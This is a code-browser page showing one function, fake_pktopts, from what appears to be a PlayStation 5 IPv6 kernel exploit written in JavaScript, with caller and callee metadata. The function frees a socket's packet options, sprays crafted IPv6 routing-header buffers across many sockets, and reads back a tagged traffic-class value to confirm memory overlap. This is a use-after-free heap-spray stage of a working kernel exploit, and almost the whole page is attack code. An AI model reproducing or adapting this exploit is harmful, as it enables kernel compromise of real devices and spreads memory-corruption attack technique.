MCPcopy Create free account
hub / github.com/Cryptogenic/PS5-IPV6-Kernel-Exploit / fake_pktopts

Function fake_pktopts

document/en/ps5/exploit.js:635–655  ·  view source on GitHub ↗
(target_fd, pktinfo, tag)

Source from the content-addressed store, hash-verified

633 await log("===== Stage 2 - Overlap pktopts =====");
634
635 let fake_pktopts = async function(target_fd, pktinfo, tag) {
636 // Free pktopts
637 await chain.add_syscall(SYSCALL_SETSOCKOPT, target_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
638
639 // Spray rthdrs
640 let size = build_rthdr_msg(fake_pktopts_buf_store, 0x100);
641
642 for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
643 let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));
644
645 chain.push_write8(fake_pktopts_buf_store.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), pktinfo);
646 chain.push_write4(fake_pktopts_buf_store.add32(OFFSET_KERNEL_tclass_offset), tag | i);
647 await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_RTHDR, fake_pktopts_buf_store, size);
648 }
649
650 // Get tclass
651 await chain.add_syscall(SYSCALL_GETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_TCLASS, scratch_store, tclass_size_store);
652 await chain.run();
653
654 tagged_tclass = p.read4(scratch_store);
655 }
656
657 // Reallocate pktopts
658 p.write4(tclass_spray_store, 0);

Callers 1

userlandFunction · 0.85

Calls 5

build_rthdr_msgFunction · 0.85
add_syscallMethod · 0.80
push_write8Method · 0.80
push_write4Method · 0.80
runMethod · 0.80

Tested by

no test coverage detected